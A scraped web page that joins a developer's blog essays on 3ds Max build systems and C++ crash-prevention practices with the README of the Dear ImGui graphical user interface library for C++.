Copying files to the build directory was another disaster too. It would take around 10 to 12 minutes to copy 7000~14000 files. It originally was somewhere near 7000 files, but grew over time. All written in ruby code that no one knew how to debug except to put print statements in.
Another problem was adding build properties. If you wanted to add a build property (a key value pair), you had to add it to multiple places in the ruby build, knowing exactly what to modify (in duplicate) and such. It was horrible.
Mixing ruby with MSBuild was like mixing iron and clay. They don’t mix well at all. It was like a ruby straight jacket that hindered the build and visual studio upon which it was based.
There had to be a better way.
Eventually when the frustrations with the build boiled over, I learned MSBuild and figured out how to build max without ruby. It took over a year, from when I first got a working prototype, to get something into the main branch of max. Simply due to bureaucratic inertia. There are lots of people in positions of power who simply say no before learning about a subject. Which was something all too common there. The first liberation was freeing the list of things to get built from ruby. Yes the list of DLL’s and EXE’s to get built was specified in some arcane ruby syntax somewhere. The first thing was moving that list to a democratic XML file. Now any build language could parse it and find out what to build. The second thing was moving the list of files to copy to an XML file. Now any build system could know what files to copy as well.
Once those two things were in place, it was time to put in the build system that I originally came up with (during a particular Christmas break).
It was written in pure XML, with one MSBuild extension that was written using C#. All the tools were native to visual studio, and what you built on the command line was what was built in visual studio. They both used the same properties (using native property sheets) and built in the same way.
What’s more I found that using native MSBuild tools to copy those 7000+ files to build now was incredibly fast. In fact, while once debugging through that old ruby code responsible for copying, I found the source of the 10 minute copy task. Or why it took 10 minutes. It was using an N factorial algorithm! So given directory A with B thru Z subdirectories, it would iterate through all directories n! times. Each directory was not parsed once, but N! times according to the amount of sub-directories that existed. It was an unholy mess that proves that re-inventing the wheel is usually a disaster waiting to happen. Now back to the improvement: With the new msbuild copy mechanism it took 20 seconds to copy all those files. 20 seconds versus 10 minutes was a big improvement.
Incremental builds also greatly improved. Go ahead and build your product from scratch. Now don’t change a thing and rebuild. If you have a smart build system, it should just take a few seconds and nothing will happen. The build system will be smart enough to essentially report that nothing changed and therefore it did no work. My new build did just that in a matter of seconds. The old build system used to take about 5 minutes to do that (And it still did work anyways…).
Speaking of performance. The time to compile and link the actual files didn’t change much, because that was always in visual studio’s corner and not ruby. The improvement in performance came from the copying actions that now took 20 seconds. Also noticeable was the shorter time involved from when the build started to when the first CPP file was getting compiled. In ruby/rake it took quite a few minutes. In the new build it took a few seconds. Eventually when I got a new SSD hard-drive, I was able to get the build down to 22 minutes on my machine.
The build at Century Software
Later on I moved to Century Software, a local company to where I live. That was such a fun place. Anyways their build system for their windows product was written in Make! Yes Make the original, ancient build system that you can’t even find documentation for anymore. I mean literally, I found (I think) one page of documentation somewhere on some professors lecture notes. The docs were horrible. Make implemented here was so old it built one C file at a time. No multi-threading, no parallel builds nothing. Slow was the operative word here. That and a incomprehensible built output that was so verbose it was almost impossible to comprehend. The only good thing about it was that it immediately stopped on the first error.
So eventually I rebuilt that using MSBuild too. It took me a few months in my spare time. No bureaucratic inertia, no one telling me no. I just worked on it in my spare time and eventually I had a complete and fully functioning system for the tinyterm product. This build was the best I’ve ever done, with zero duplication, extremely small project files and a build that was very fast. It went from 45 minutes to a minute and a half.
When writing a product, the build system should be done using the tools that the platform provides. There should be no transmogrifying the code, or the build scripts (like openssl) before doing the build. When writing ruby on rails use rake for your build process’s. When targeting Microsoft platforms use msbuild. Using java, then use maven. Data that must be shared between build platforms should be in xml so that anything can parse them. And most important of all, distrust must go, and developers and managers must have an open mind to new things. Otherwise the development process’s will take so long, and be so costly, and exert such a tax that new features will suffer, bugs will not get fixed and customers will not be served and they will take their money elsewhere.
I found this document while looking through old files today, and thought I’d share it. It was from a lecture I gave at Autodesk University back in 2012. It applies to 3ds max, but has some points that would be applicable to software development in general.
[Note] I wrote this along time ago, and today I saw this blog post again. I thought in fairness, I should add a few things. These were my guidelines I came up with based off of years of experience and years of experience of fixing bugs in 3dsmax. While I firmly believe in every single last one of them, unfortunately, hardly any of these things ever entered the thoughts of most 3dsmax developers. Most coded all day long being blissly unaware of warning level 4, and none ever showed an interest in static analysis except two people. In fact management most of the time was completely unsympathetic to these ideas. Of course management, even the development managers who used to be programmers simply didn’t care. They just wanted bugs fixed fast. No matter, nor interest was given to systematically fixing the fence at the top of the cliff. All thoughts were to get ambulances to the dead bodies at the bottom of the cliff as fast as possible. As a result the fences at the top were always full of holes. By the time I left Autodesk in the spring of 2014, only a dozen or so projects compiled at warning level 4. And no systematic static analysis was being done by anyone. I could go on, but that’s a thought for another blog post.
Introduction
Preventing crashes and increasing stability in software is a difficult task. There is no practice nor set of practices that will completely prevent all crashes. However there are a few things that will help reduce errors. With that short introduction let us get started.
Basic Responsibilities
These are basic practices that would apply no matter where you worked and no matter which product you worked on.
Compile at warning level 4
You should compile your plugins at warning level 4. Level 4 warnings can help point out subtle programming errors that can lead to bugs that can be absurdly difficult to discover later on. This is a free and practically instantaneous way to find bugs early in the development process.
Code compiled at level 4 is better than code compiled at anything less. Level 4 warnings should be turned on, and no warnings should be suppressed.
The 3ds Max SDK compiles cleanly at warning level 4, and has been that way for at least 3 years now.
Case in Point:
We turned on warning level 4 for an old project recently. One level 4 warning pointed to some unreachable code. This was caused by a break statement that was left in in a loop. This problem eventually resulted in a complete feature not working.
Compile with Static Analysis
The highest version of visual studio comes with a static analyzer called Code Analysis. This feature can be turned on for native or managed code in visual studio. Static analysis does a deep scrutinization of the code and can help spot bugs. These bugs are more complex than what level 3 or 4 warnings can give. But these warnings are usually so fundamental that they can be likened to level 1 or 2 warnings.
Case in Point:
The static analyzer can detect allocation/de-allocation mismatches. For instance we turned it on and found when memory was allocated with new[] but was de-allocated with delete, instead of delete []. We found lots of these scattered throughout our large source code base. The advantage of this is that it is so easy to detect. Without static analysis it would take a special tool like bounds checker to reveal a memory allocation mismatch, and that would only be after exhaustive testing.
Check Pointers for NULL
By far the most common fix I have seen for known crashes in 3dsmax is to check a pointer for NULL. This is the most persistent problem that I have ever seen in C/C++ code. Get into a habit now to check every pointer for NULL before using it. A corollary to this is to initialize all pointers to NULL before and after they are used.
Case in Point:
The visual studio static analysis tool emits various warnings for possible dereferencing of null pointers. Consequently I have rarely seen this problem in code that compiles at level 4 with static analysis.
For the Rampage Release the 4th highest Crash in 64 bit max was a crash using Ray Traced Shadows. The shadow code contained a buffer of floating point values that was uninitialized. It was extremely difficult to track down, as it was only manifest when the debugger was NOT attached.
Check before casting
If you lie to the compiler, your application will come back and bite you. C is a language that is seemingly built on casts, where anything can seemingly be cast to anything else. This ability to so easily lie to the compiler and misrepresent your types to the compiler is dangerous and risky. Therefore prefer to use C++ style casts. By turning on RTTI and using C++ style casts, the results of the cast can be checked for validity.
Case in Point:
In the sdk header file imtl.h is a class called MtlBase which has 4 derived classes. One of those classes is class Mtl. I found functions in MtlBase that was blindly assuming the instance (i.e. this) was an instance of class Mtl. However this ignored the fact that there were 3 other derived classes from MtlBase. Thus it was casting the ‘this’ pointer to class Mtl, and then doing work on that miscast pointer.
Avoid stack based strings
A very common way to crash the application is over-reliance on stack based C strings. This code for instance is very dangerous:
void foo() {
TCHAR buf[SIZE];
…
}
One of the problems with stack based strings, is operating on a string that is bigger than the buffer. This of course can corrupt the callstack. This is almost impossible to debug afterwards and usually makes reading minidump crash files an exercise in frustration. The danger can be minimized by using the newer safe string functions. For instance instead of using strcat, which can easily run over the end of a string, you can use strcat_s which is a safer version.
When possible use TSTR or MSTR instead , where the actual string buffer is stored on the heap, and not the stack. Then if anything does go wrong, it will not corrupt the callstack.
Now a disclaimer: Max has a lot of stack based strings all over the place (It is has been around a long time of course). But their usage is getting reduced as we now favor TSTR or MSTR.
Case in Point:
The code for the customization dialog contained a for loop that concatenated a string into a stack based buffer of limited size. The for loop interated too many times and the buffer overflowed, corrupting other items on the stack. That stack based buffer was several frames up the stack. When that stack frame was cleaned up, it crashed. Diagnosing the problem was difficult since the symptom was several function calls away from the source of the problem.
Avoid using catch(…)
If at all possible avoid using catch(…). Prefer to handle more specific exceptions like catching an out of memory exception such as (std::bad_alloc). While using catch(…) may prevent the application from crashing, it can also hide bugs and make it more difficult to solve crashes. It is useful for debugging to actually remove a catch(…) and let the program crash exactly where the cause of the crash is located. You should generally catch only those errors that you can handle, and let the ones that you cannot pass through so that the larger system can handle it if possible, or crash in the “correct” place rather than delay it.
Now catch(…) can be used when it does something to correct the program state. This should be done only after careful consideration, usually with multiple developers. Also side affects needs to be considered as well. If a catch is used to wrap a call to thousands of 3ds Max functions, than it probably shouldn’t be used. However wrapping a call to a 3rd party library is acceptable. Everything needs to be balanced of course.
Certain regular expressions can easily be written to help search for empty catch statements. The static analyzer PVS-Studio will also help identify these too.
Case in Point:
I regularly review the usage of catch(…) in the source code, and have over the years taken out a few catch(…). As a result, the clarity of crashes from customers in the field has increased.
Use Debug Builds
When debug builds are available, they should be used for testing and development. 3ds Max is the only M&E product that provides debug builds to ADN partners, all though they may be slow in delivery. However despite the delays a debug build provides a great resource in validating your plugins.
[Note: It turns out to be very ironic that I put this here, since the 3dsmax team does not use debug builds. Sure the devs do, but in all my years there I could never get management to move to have the QA testers use debug builds. Never the less I believe in debug builds and that they are far superior for testing than release builds.]
Watch log file, asserts and the debug output
Log File
3dsmax has a log file that writes to <max install>networkmax.log. This file is mainly used for debugging network rendering, which was its original purpose. However, it has grown to become a popular logging mechanism for max. This log can provide useful information, but it still is under-utilized and cannot be expected to report program state consistently across the product.
Asserts
Do not ignore asserts (remember debug builds?). Use asserts liberally in your own code and don’t suppress asserts unless they are logged and checked afterwards (for example, using automated testing). The assert system will automatically log all asserts (whether they are suppressed or not) to the file: <max install>3dsmax.assert.log.
Debug output window
The Visual Studio debug output window (debugging window) provides significant output and can be useful to watch during debugging sessions. Be sure to turn on display for all types of events including exceptions (very important) and regular program messages. If you want to check debug output without attaching a debugger, than you can use a Microsoft tool from sysinternals called DbgView. See the following website for details: http://technet.microsoft.com/en-US/sysinternals
Disclaimer: The MetaSL system parses a lot of files when 3ds Max starts up. This will generate a lot of exceptions that are benign, so not to worry. The reason is The MetaSL system, from Mental Images, uses a 3rd party library (antler) to parse files, which in turn uses exceptions for program flow.
Enable Break On Exception:
Visual Studio has debugging options that allow it to break execution when an exception is thrown. This should be used as often as possible. This is the corollary to the “No catch(…)” above. There are a few places where max actually does use catch(…), for example in the maxscript kernel. By enabling this feature, exceptions are immediately brought to the attention of the developer.
Max Specific Problems
Do not hold naked simple pointers to ReferenceTarget’s
A class that is not a ReferenceMaker should not hold a plain old pointer to a ReferenceTarget, or a class that derives from a ReferenceTarget, without some mechanism to ensure validity of the pointer before use (i.e. AnimHandles). Instead replace the simple pointer with a SingleRefMaker class instance, and have that observe the ReferenceTarget.
Good Bad class Good{…
SingleRefMaker mObserve;
}
class Risky{…
ReferenceTarget* mObserve;
}
Do not write dynamic arrays of ReferenceTarget’s.
Do not write a class that holds an array of ReferenceTarget’s: especially when that array grows and shrinks at runtime.
A class like this usually has a container that holds pointers to ReferenceTargets. It usually overrides ReferenceMaker::NumRefs like this:
int RumRefs() { return myArray.Count(); }
Instead of a fixed number of items:
int RumRefs() { return 3; }
This cannot be done correctly without considering undo and redo (Subclassing class RestoreObj). The fundamental weakness of the reference system is that it expects references to be in a fixed position. That reference index is an internal implementation of the ReferenceMaker that should be invisible to clients. However clients routinely use the reference index to get a certain Target. And one of those clients is the undo system. One of the complications of such an implementation is that the Undo System usually expects that internal array to never shrink in size. If a ReferenceTarget is removed from the internal array, a RestoreObj usually should or could point to its old reference slot. The Reference System of course has no idea that the internal array shrunk in size, so if an undo action occurs it may stick that Reference back into the wrong slot. To avoid that, a common practice is to make dynamic reference arrays grow but never shrink. This wastes memory.
For example: Undo and Redo can change the size of the internal array via SetReference. So if you have an array with 10 ReferenceTarget’s and your undo/redo object happens to ‘redo’ and stick a reference back in at slot 5, well, all your other pointers from index 5 to 10 have now had their indexes bumped up by one. So now anything dependent or holding on to those moved ReferenceTarget pointers are now dangling.
There are a few alternatives to this:
Use class IRefTargContainer.
Use an array of AnimHandle’s.
Use a ParameterBlock
Do not access the Reference System after NOTIFY_SYSTEM_SHUTDOWN
The notification message NOTIFY_SYSTEM_SHUTDOWN (See notify.h) is broadcast before plugins are unloaded. It is critically important to drop all references to plugins in response to this message. There are many plugin modules that define ReferenceTargets that will then get unloaded shortly afterwards. Once the plugin module is unloaded, trying to access a ReferenceTarget defined in that module can result in a crash.
Do minimal work in DllMain
The MSDN docs state that minimal work should be done in DllMain. Specifically it warns against loader lock, among other things. The DllMain function can be called as a result of LoadLibrary. When LoadLibrary is executed a critical section is locked while your DllMain is active. If you try to do work that for example needs another DLL to get loaded, it could lock up the application as a race condition. Instead of doing work in DllMain on shutdown, there are a few other ways to do plugin initialization and unitialization. For example:
You can do uninitialization work in response to NOTIFY_SYSTEM_SHUTDOWN. (see notify.h)
You can and should use a LibInitialize and LibShutdown functions.
A similar warning is not to do heavy work in static variables constructors, because a static variable will get constructed close in time to when DLLMain is called. Then, when the static variable is constructed, the DLL may not be fully loaded and types needed by the constructor may not be available yet.
Do not violate party etiquette
Uninvited guests should not crash the 3ds Max party. When the party is over: go home.
Uninvited guests
Every plugin has an appropriate time in which it should be initialized, do its work and shutdown. For example:
A plugin for a color picker should not instantiate one when 3ds max starts up.
A plugin for a scene browser should be active ONLY when its UI is active.
It is entirely possible and probable that users can start max and NEVER use your plugin. Therefore do not waste memory and resources for a feature that may not get used. Do the work when users actually invoke your feature. In other words when 3ds Max starts up, the plugin should not invite itself to the 3ds Max party, it should wait for an invitation.
This rules is violated on startup by loading 3rd party libraries, instantiating plugin classes, holding pointers to the node scene graph and registering callbacks to common scene events (my favorite pet peeve: “Hey max crashed in this function even though I never used this feature?”). When max loads a plugin, the major things 3ds Max requires from a plugin are:
The number of class descriptors
A way to get those class descriptors.
Some pointers to LibInitialize and LibShutdown functions.
Therefore class descriptors really are the only things that should be instantiated on module load or startup. There should be no static instances of the actual plugin class, whether it is a material plugin, shadow, utility, or renderer. Of course there are exceptions such as function published interfaces and parameter block descriptors that often are statically defined: But I’m not talking about those.
No loitering
When 3ds Max shuts down, it sends out the most important broadcast notification in all of 3ds Max (found in notify.h): NOTIFY_SYSTEM_SHUTDOWN. This means the 3ds Max party is over. The plugin should completely shut itself down or disassociate itself completely from all max data. For example: All References should be dropped. All arrays holding pointers to INode’s should be cleared out etc… And most common and most dangerous: All callbacks functions that are registered should be unregistered.
When NOTIFY_SYSTEM_SHUTDOWN is broadcast, the entire max scene is completely intact and still in a completely valid state. During any callbacks or notifications after that, 3ds Max will contain less and less of a valid state to work with. In other words as 3ds Max progresses in its shutdown sequence less and less of the max scene will be valid. So for instance the other shutdown notification NOTIFY_SYSTEM_SHUTDOWN2 is called merely when the main 3dsmax window (think HWND) is destroyed. No plugin should be responding to that message to (for example) iterate through the scene graph. Likewise the LibShutdown functions should not be iterating the scene graph.
Case In Point
Say that a plugin that depends on another library like this:
plugin.dll -> library.dll
When the plugin is loaded by max, the tertiary library will also (automatically) get loaded. But when the plugin is unloaded the tertiary library will not get unloaded. That is unless the reference count on the library is decremented to zero. This will not happen unless FreeLibrary is specifically called on library.dll (Which is not a common nor recommended practice). Thus instead, the library will get freed or shutdown long after WinMain exits and max has uninitialized and is gone. Therefore the tertiary library should not contain any dependencies on anything in the 3ds Max SDK. Thus for example GetCOREInterface() should never be called in a DllMain of a dependent module to a plugin (i.e. library.dll ).
Quality Testing
Developers can implement the following practices in their software development processes:
Automated regression testing
All good production pipelines should have regression testing that occurs automatically after a build. This is critical to help catch bugs before they get to customers in the field. Also the developers should have access to these automated tests so that they also can run these tests before submitting their code.
Dynamic Memory Analysis
This means using 3rd party tools to profile, analyze, check and verify memory during runtime of the application.
The following list of tools is a partial example of what is available:
MicroFocus BoundsChecker: Checks for memory leaks, or memory allocation mismatches among a host of other things.
Microsoft’s Application Verifier also checks for various memory problems during runtime such as accessing an array out of bounds.
Visual Leak Detector (Open source on codeplex.com) checks for memory leaks. It is fast, efficient and stable.
Code coverage
This is using a tool to measure how much of your application or plugin was actually tested during execution. This helps a developer to know when they have tested the product enough. It also can help a developer find areas they have not tested. Simply put untested code is buggy code, and a code coverage tool helps in this regard. The best tool I have ever seen for this is Bullseye (bullseye.com). It works for native C++ and is easy to use, and very fast. It requires instrumentation of the code during the build which can double the build time,but runtime performance is excellent.
A few years ago, while working on the release of 3dsMax (2014?), I was working on fixing warnings that came from a static analysis tool (PVS Studio). The analyzer had identified code in the status panel that could lead to possible memory corruption. As I started to look around in the code related to the status panel, I found some code for unrelated features and some dead code. In other words code for features that was not where it was supposed to be.
These features used to be on the status panel, but since then got moved around or removed. For instance the snaps used to be on the status panel (Remember in max 3?), but since then got moved to the toolbar on the top area of the app. What I found was that all the old features that ever used to be on the status panel were still there! When the UI got updated over the years, the programmer(s) just turned off the UI features, and simply left the old code. They didn’t even comment out the code, or indicate that a particular UI widget was not used… It was just abandoned. It was a hard to know what was still relevant, and what was not.
The snaps were at least still relevant, I put in a breakpoint, executed some snaps and hit that code! great! But wait! The snaps were now in a different functional area of the UI than the status panel. To be exact, for people not familiar with 3dmsax, the snaps are at the top of the screen on the main toolbar, and the status panel is the row of UI controls on the bottom of the screen. So why should toolbar code be hiding in the status panel code? What a Zig zag! Who cares? The computer doesn’t care where the code is, as long as the appropriate function gets compiled to an object file, and is available to the linker, that code can be anywhere. So why should humans care? Well because humans are much more expensive to operate than a computer. Humans read the code and have to understand the code first. So as long as that feature was hiding in the status panel, it was as good as taking a random book in the library, ripping off the catalogue ID, and placing it in a random location in the library.
The tax associated with disorganization in code is immense. I’ve seen it first hand. I remember the first time I tried to find the code for the material editor. It took me an hour. I think I had to find some text that was somewhere in the material editor, and do a brute force text search of every file in the source code. Then look up some more things, do more brute force text searches until I found the code I was looking for. It was the equivalent of taking a book in the library, ripping off the cover with its catalogue ID, putting a different cover with an obsfucated name on it (generally with no vowels), and putting the book somewhere else in the library. Good luck finding it.
For an example of that, try finding the code for the editable mesh modifier in the public SDK of 3dsmax. You will have a hard time if you look for editablemesh.vcxproj, since it’s actually called pack1.vcxproj. Thankfully it is in a folder called /samples/mesh/editablemesh. (btw, the SDK sample code is only organized because of work I did way back in 2005).
Which leads us to another problem. A feature will be called one thing in the documentation, have a completely different name for the source code files, and have completely different class names in the code files. Imagine if you could have a code file name foo.cpp, the class names in the file are variants of the name baz, and the feature as exposed to the customer is named wizz. It’s all a confusing job to learn the lay of the land. Maps obviously don’t exist in this land, and only through experience do you learn where things are. Browsing the code is simply useless.
So I started to move the misplaced code. I used a code coverage tool called bullseye to aid me in my testing. At one point I had removed most of the code and hit around 85% functional coverage, and something slightly less for MCDC coverage. (MCDC coverage is the real indicator of code coverage btw). But there was this stubborn windows hook code that I could just not hit. Doing a brute text search for the hook, I could not find where the hook was used. It appeared to be dead code. So I removed it.
Fast forward a few months, and a bug report came that the cross hair feature was broken. That is where the cursor in the viewport can be replaced by cross hair lines. Ok, what caused it? My removal of the apparently dead hook. Ok, sorry about that.
Now if you know anything about hooks, you must know that they are only used as a last resort. And even then I and a few colleagues agree that using a hook is still generally the wrong approach. Hooks are an evil API that literally traps every single message that gets passed through your message pump (millions in a typical session). And for each message the system will execute your callback, and allow you to do who knows what with the message. There is no way that hooks can have a beneficial affect on performance. In fact with dozens (or more?) of messages getting sent every second, it can only have a negative affect on performance.
So the cross hair bug was reported, and the dev who was fixing it (not me) asked to revert the code changes by puting back the hook to fix the cross hair cursor. Not so fast I said. Why was the hook code in the status panel in the first place? Viewport code had it’s own place in the code. This hook code was far far removed from that! Finding this hook here was like finding the a gas line in the glove compartment of an automobile– in other word a complete and utter hack. This cross hair business has no place in status panel code. Well, something smelled fishy here. So I suggested to the other developer that they research the problem in greater depth and find another solution to the problem of the hook and crosshair. They did and in a week or so, they came back with a simple fix consisting of setting a variable (or something trivial like that) to turn on the cross hair. And best of all that fix was in it’s proper location: the viewport code. Excellent a great fix! Congratulations to the developer who found the real place to fix it.
Meanwhile once I found out what the hook was for, I researched it a little more and found out how really bad the hook was. That hook got installed and activated when max first started up, and stuck around until max shut down. It didn’t matter if you used the 3D viewport window cross hair or not, that hook was installed and running 100% of the time. Sucking CPU time for every message it trapped.
|
||||
8582
|
dbpedia
|
1
| 21
|
https://github.com/ocornut/imgui
|
en
|
free Graphical User interface for C++ with minimal dependencies
|
https://repository-images.githubusercontent.com/22067521/01b5ff00-53d7-11ea-86fa-52aee7e335a2
|
https://repository-images.githubusercontent.com/22067521/01b5ff00-53d7-11ea-86fa-52aee7e335a2
|
[
"https://github.com/ocornut/imgui/workflows/build/badge.svg",
"https://github.com/ocornut/imgui/workflows/static-analysis/badge.svg",
"https://github.com/ocornut/imgui_test_engine/workflows/tests/badge.svg",
"https://user-images.githubusercontent.com/8225057/191050833-b7ecf528-bfae-4a9f-ac1b-f3d83437a2f4.png",
"https://user-images.githubusercontent.com/8225057/191050838-8742efd4-504d-4334-a9a2-e756d15bc2ab.png",
"https://user-images.githubusercontent.com/8225057/191055698-690a5651-458f-4856-b5a9-e8cc95c543e2.gif",
"https://user-images.githubusercontent.com/8225057/190203358-6988b846-0686-480e-8663-1311fbd18abd.jpg",
"https://user-images.githubusercontent.com/8225057/190203379-57fcb80e-4aec-4fec-959e-17ddd3cd71e5.jpg",
"https://user-images.githubusercontent.com/8225057/190203393-c5ac9f22-b900-4d1e-bfeb-6027c63e3d92.jpg",
"https://user-images.githubusercontent.com/8225057/190203401-7b595f6e-607c-44d3-97ea-4c2673244dfb.jpg",
"https://avatars.githubusercontent.com/u/8225057?s=64&v=4",
"https://avatars.githubusercontent.com/u/19151258?s=64&v=4",
"https://avatars.githubusercontent.com/u/1197433?s=64&v=4",
"https://avatars.githubusercontent.com/u/814772?s=64&v=4",
"https://avatars.githubusercontent.com/u/4297676?s=64&v=4",
"https://avatars.githubusercontent.com/u/47202645?s=64&v=4",
"https://avatars.githubusercontent.com/u/5081921?s=64&v=4",
"https://avatars.githubusercontent.com/u/1193295?s=64&v=4",
"https://avatars.githubusercontent.com/u/178582?s=64&v=4",
"https://avatars.githubusercontent.com/u/8400779?s=64&v=4",
"https://avatars.githubusercontent.com/u/1285136?s=64&v=4",
"https://avatars.githubusercontent.com/u/1482313?s=64&v=4",
"https://avatars.githubusercontent.com/u/7941875?s=64&v=4",
"https://avatars.githubusercontent.com/u/395730?s=64&v=4"
] |
[] |
[] |
[
""
] | null |
[] | null |
Dear ImGui: Bloat-free Graphical User interface for C++ with minimal dependencies - ocornut/imgui
|
en
|
GitHub
|
https://github.com/ocornut/imgui
|
"Give someone state and they'll have a bug one day, but teach them how to represent state in two separate locations that have to be kept in sync and they'll have bugs for a lifetime." -ryg
(This library is available under a free and permissive license, but needs financial support to sustain its continued improvements. In addition to maintenance and stability there are many desirable features yet to be added. If your company is using Dear ImGui, please consider reaching out.)
Businesses: support continued development and maintenance via invoiced sponsoring/support contracts:
E-mail: contact @ dearimgui dot com
Individuals: support continued development and maintenance here. Also see Funding page.
The Pitch - Usage - How it works - Releases & Changelogs - Demo - Getting Started & Integration Gallery - Support, FAQ - How to help - Funding & Sponsors - Credits - License Wiki - Extensions - Languages bindings & frameworks backends - Software using Dear ImGui - User quotes
Dear ImGui is a bloat-free graphical user interface library for C++. It outputs optimized vertex buffers that you can render anytime in your 3D-pipeline-enabled application. It is fast, portable, renderer agnostic, and self-contained (no external dependencies).
Dear ImGui is designed to enable fast iterations and to empower programmers to create content creation tools and visualization / debug tools (as opposed to UI for the average end-user). It favors simplicity and productivity toward this goal and lacks certain features commonly found in more high-level libraries.
Dear ImGui is particularly suited to integration in game engines (for tooling), real-time 3D applications, fullscreen applications, embedded applications, or any applications on console platforms where operating system features are non-standard.
Minimize state synchronization.
Minimize UI-related state storage on user side.
Minimize setup and maintenance.
Easy to use to create dynamic UI which are the reflection of a dynamic data set.
Easy to use to create code-driven and data-driven tools.
Easy to use to create ad hoc short-lived tools and long-lived, more elaborate tools.
Easy to hack and improve.
Portable, minimize dependencies, run on target (consoles, phones, etc.).
Efficient runtime and memory consumption.
Battle-tested, used by many major actors in the game industry.
The core of Dear ImGui is self-contained within a few platform-agnostic files which you can easily compile in your application/engine. They are all the files in the root folder of the repository (imgui*.cpp, imgui*.h). No specific build process is required. You can add the .cpp files into your existing project.
Backends for a variety of graphics API and rendering platforms are provided in the backends/ folder, along with example applications in the examples/ folder. You may also create your own backend. Anywhere where you can render textured triangles, you can render Dear ImGui.
See the Getting Started & Integration section of this document for more details.
After Dear ImGui is set up in your application, you can use it from _anywhere_ in your program loop:
Dear ImGui allows you to create elaborate tools as well as very short-lived ones. On the extreme side of short-livedness: using the Edit&Continue (hot code reload) feature of modern compilers you can add a few widgets to tweak variables while your application is running, and remove the code a minute later! Dear ImGui is not just for tweaking values. You can use it to trace a running algorithm by just emitting text commands. You can use it along with your own reflection data to browse your dataset live. You can use it to expose the internals of a subsystem in your engine, to create a logger, an inspection tool, a profiler, a debugger, an entire game-making editor/framework, etc.
The IMGUI paradigm through its API tries to minimize superfluous state duplication, state synchronization, and state retention from the user's point of view. It is less error-prone (less code and fewer bugs) than traditional retained-mode interfaces, and lends itself to creating dynamic user interfaces. Check out the Wiki's About the IMGUI paradigm section for more details.
Dear ImGui outputs vertex buffers and command lists that you can easily render in your application. The number of draw calls and state changes required to render them is fairly small. Because Dear ImGui doesn't know or touch graphics state directly, you can call its functions anywhere in your code (e.g. in the middle of a running algorithm, or in the middle of your own rendering process). Refer to the sample applications in the examples/ folder for instructions on how to integrate Dear ImGui with your existing codebase.
A common misunderstanding is to mistake immediate mode GUI for immediate mode rendering, which usually implies hammering your driver/GPU with a bunch of inefficient draw calls and state changes as the GUI functions are called. This is NOT what Dear ImGui does. Dear ImGui outputs vertex buffers and a small list of draw calls batches. It never touches your GPU directly. The draw call batches are decently optimal and you can render them later, in your app or even remotely.
See Releases page for decorated Changelogs. Reading the changelogs is a good way to keep up to date with the things Dear ImGui has to offer, and maybe will give you ideas of some features that you've been ignoring until now!
Calling the ImGui::ShowDemoWindow() function will create a demo window showcasing a variety of features and examples. The code is always available for reference in imgui_demo.cpp. Here's how the demo looks.
You should be able to build the examples from sources. If you don't, let us know! If you want to have a quick look at some Dear ImGui features, you can download Windows binaries of the demo app here:
imgui-demo-binaries-20240105.zip (Windows, 1.90.1 WIP, built 2024/01/05, master) or older binaries.
The demo applications are not DPI aware so expect some blurriness on a 4K screen. For DPI awareness in your application, you can load/reload your font at a different scale and scale your style with style.ScaleAllSizes() (see FAQ).
See the Getting Started guide for details.
On most platforms and when using C++, you should be able to use a combination of the imgui_impl_xxxx backends without modification (e.g. imgui_impl_win32.cpp + imgui_impl_dx11.cpp). If your engine supports multiple platforms, consider using more imgui_impl_xxxx files instead of rewriting them: this will be less work for you, and you can get Dear ImGui running immediately. You can later decide to rewrite a custom backend using your custom engine functions if you wish so.
Integrating Dear ImGui within your custom engine is a matter of 1) wiring mouse/keyboard/gamepad inputs 2) uploading a texture to your GPU/render engine 3) providing a render function that can bind textures and render textured triangles, which is essentially what Backends are doing. The examples/ folder is populated with applications doing just that: setting up a window and using backends. If you follow the Getting Started guide it should in theory takes you less than an hour to integrate Dear ImGui. Make sure to spend time reading the FAQ, comments, and the examples applications!
Officially maintained backends/bindings (in repository):
Renderers: DirectX9, DirectX10, DirectX11, DirectX12, Metal, OpenGL/ES/ES2, SDL_Renderer, Vulkan, WebGPU.
Platforms: GLFW, SDL2/SDL3, Win32, Glut, OSX, Android.
Frameworks: Allegro5, Emscripten.
Third-party backends/bindings wiki page:
Languages: C, C# and: Beef, ChaiScript, CovScript, Crystal, D, Go, Haskell, Haxe/hxcpp, Java, JavaScript, Julia, Kotlin, Lobster, Lua, Nim, Odin, Pascal, PureBasic, Python, ReaScript, Ruby, Rust, Swift, Zig...
Frameworks: AGS/Adventure Game Studio, Amethyst, Blender, bsf, Cinder, Cocos2d-x, Defold, Diligent Engine, Ebiten, Flexium, GML/Game Maker Studio, GLEQ, Godot, GTK3, Irrlicht Engine, JUCE, LÖVE+LUA, Mach Engine, Magnum, Marmalade, Monogame, NanoRT, nCine, Nim Game Lib, Nintendo 3DS/Switch/WiiU (homebrew), Ogre, openFrameworks, OSG/OpenSceneGraph, Orx, Photoshop, px_render, Qt/QtDirect3D, raylib, SFML, Sokol, Unity, Unreal Engine 4/5, UWP, vtk, VulkanHpp, VulkanSceneGraph, Win32 GDI, WxWidgets.
Many bindings are auto-generated (by good old cimgui or newer/experimental dear_bindings), you can use their metadata output to generate bindings for other languages.
Useful Extensions/Widgets wiki page:
Automation/testing, Text editors, node editors, timeline editors, plotting, software renderers, remote network access, memory editors, gizmos, etc. Notable and well supported extensions include ImPlot and Dear ImGui Test Engine.
Also see Wiki for more links and ideas.
Examples projects using Dear ImGui: Tracy (profiler), ImHex (hex editor/data analysis), RemedyBG (debugger) and hundreds of others.
For more user-submitted screenshots of projects using Dear ImGui, check out the Gallery Threads!
For a list of third-party widgets and extensions, check out the Useful Extensions/Widgets wiki page.
Custom engine erhe (docking branch)
Custom engine for Wonder Boy: The Dragon's Trap (2017)
Custom engine (untitled)
Tracy Profiler (github)
See: Frequently Asked Questions (FAQ) where common questions are answered.
See: Getting Started and Wiki for many links, references, articles.
See: Articles about the IMGUI paradigm to read/learn about the Immediate Mode GUI paradigm.
See: Upcoming Changes.
See: Dear ImGui Test Engine + Test Suite for Automation & Testing.
For the purposes of getting search engines to crawl the wiki, here's a link to the Crawlable Wiki (not for humans, here's why).
Getting started? For first-time users having issues compiling/linking/running or issues loading fonts, please use GitHub Discussions. For ANY other questions, bug reports, requests, feedback, please post on GitHub Issues. Please read and fill the New Issue template carefully.
Private support is available for paying business customers (E-mail: contact @ dearimgui dot com).
Which version should I get?
